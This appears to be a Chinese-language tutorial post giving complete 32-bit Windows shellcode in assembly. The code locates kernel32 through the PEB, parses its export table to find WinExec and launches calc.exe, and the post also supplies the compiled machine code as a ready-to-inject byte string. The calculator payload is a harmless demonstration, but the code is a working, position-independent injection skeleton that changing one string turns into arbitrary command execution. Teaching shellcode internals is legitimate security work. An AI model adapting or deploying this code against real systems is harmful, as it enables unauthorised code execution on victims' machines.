使用汇编语言编写shellcode,调用WinExec实现弹出计算器,汇编代码如下:
.386
.model flat,stdcall
; 代码区域
.code
main:
push ebp
mov ebp,esp
sub esp,20h; 开辟栈空间
; 获取Kernel32基址
assume fs:nothing
mov eax,[fs:30h]; peb结构所在地址
mov eax,[eax+0Ch]; Ldr
mov eax,[eax+1Ch]; 指向ntdll
mov eax,[eax]; 指向kernelbase
mov eax,[eax]; 指向kernel32
mov eax,[eax+08h]; BaseAddress
;遍历kernel32导出函数
; 初始化栈空间用来保存变量
mov DWORD PTR[ebp-04h],0; 用来存放导出函数“地址表”
mov DWORD PTR[ebp-08h],0; 用来存放导出函数“名称表”
mov DWORD PTR[ebp-0Ch],0; 用来存放导出函数“序号表”
; 解析PE结构获取导出表结构实际地址
mov ebx,DWORD PTR[eax + 3Ch] ; NT头偏移地址
lea ebx,DWORD PTR[ebx + eax] ; NT头VA
mov ebx,DWORD PTR[ebx + 78h] ; 导出表结构VirtualAddress
lea edx,DWORD PTR[ebx + eax] ; 导出表结构实际地址
; 获取导出函数地址表VA
mov ebx,DWORD PTR[edx + 1Ch] ; AddressOfFunctions 偏移
lea ebx,DWORD PTR[ebx + eax] ; AddressOfFunctions 实际地址
mov DWORD PTR[ebp - 04h],ebx ; 保存到局部变量
; 获取导出函数名称表VA
mov ebx,DWORD PTR[edx + 20h] ; AddressOfNames 偏移
lea ebx,DWORD PTR[ebx + eax] ; AddressOfNames 实际地址
mov DWORD PTR[ebp - 08h],ebx ; 保存到局部变量
; 获取导出函数序号表VA
mov ebx,DWORD PTR[edx + 24h] ; AddressOfNameOrdinals 偏移
lea ebx,DWORD PTR[ebx + eax] ; AddressOfNameOrdinals 实际地址
mov DWORD PTR[ebp - 0Ch],ebx ; 保存到局部变量
; 开始遍历三张表,找到目标函数地址
mov edi,DWORD PTR[edx + 18h] ; NumberOfNames循环次数
xor ecx,ecx ; 清空ecx,作为循环计数
mov esi,DWORD PTR[ebp - 08h] ; 暂存导出函数名称表 实际地址
_ExportName:
mov ebx,DWORD PTR[esi + ecx * 4];函数名称 偏移地址
lea ebx,DWORD PTR[ebx + eax]; 获取第n个导出函数的名称 实际地址
; 判断函数名称
mov ebx,[ebx]
cmp ebx,456E6957h;判断是否WinE
je _FindFunc
;自增1,开始下一次遍历
inc ecx;
jmp _ExportName
_FindFunc:
;找到目标函数,获取该函数地址VA
mov ebx,DWORD PTR[ebp - 0Ch] ; 序号表 实际地址
xor edx,edx ; 注意序号表是2字节数组
mov dx,WORD PTR[ebx + ecx * 2] ; 获取对应序号表中保存的值
mov ebx,DWORD PTR[ebp - 04h] ; 地址表 实际地址
mov ebx,DWORD PTR[ebx + edx * 4]; 地址表中,目标函数地址 偏移地址
lea eax,DWORD PTR[ebx + eax] ; 目标函数实际地址;
; 调用函数
jmp _gotFunc
g_str db "calc.exe"
g_stop db 0
_gotFunc: call $+5
pop ebx;获取eip
sub ebx,0Eh
push 5h
push ebx
call eax
; 恢复函数栈帧
mov esp,ebp
pop ebp
ret
end main
end
以下为shellcode所转化的机器码
"\x55\x8B\xEC\x83\xEC\x20\x64\xA1\x30\x00\x00\x00\x8B\x40"
"\x0C\x8B\x40\x1C\x8B\x00\x8B\x00\x8B\x40\x08\xC7\x45\xFC"
"\x00\x00\x00\x00\xC7\x45\xF8\x00\x00\x00\x00\xC7\x45\xF4"
"\x00\x00\x00\x00\x8B\x58\x3C\x8D\x1C\x18\x8B\x5B\x78\x8D"
"\x14\x18\x8B\x5A\x1C\x8D\x1C\x18\x89\x5D\xFC\x8B\x5A\x20"
"\x8D\x1C\x18\x89\x5D\xF8\x8B\x5A\x24\x8D\x1C\x18\x89\x5D"
"\xF4\x8B\x7A\x18\x33\xC9\x8B\x75\xF8\x8B\x1C\x8E\x8D\x1C"
"\x18\x8B\x1B\x81\xFB\x57\x69\x6E\x45\x74\x03\x41\xEB\xED"
"\x8B\x5D\xF4\x33\xD2\x66\x8B\x14\x4B\x8B\x5D\xFC\x8B\x1C"
"\x93\x8D\x04\x18\xEB\x09\x63\x61\x6C\x63\x2E\x65\x78\x65"
"\x00\xE8\x00\x00\x00\x00\x5B\x83\xEB\x0E\x6A\x05\x53\xFF"
"\xD0\x8B\xE5\x5D\xC3"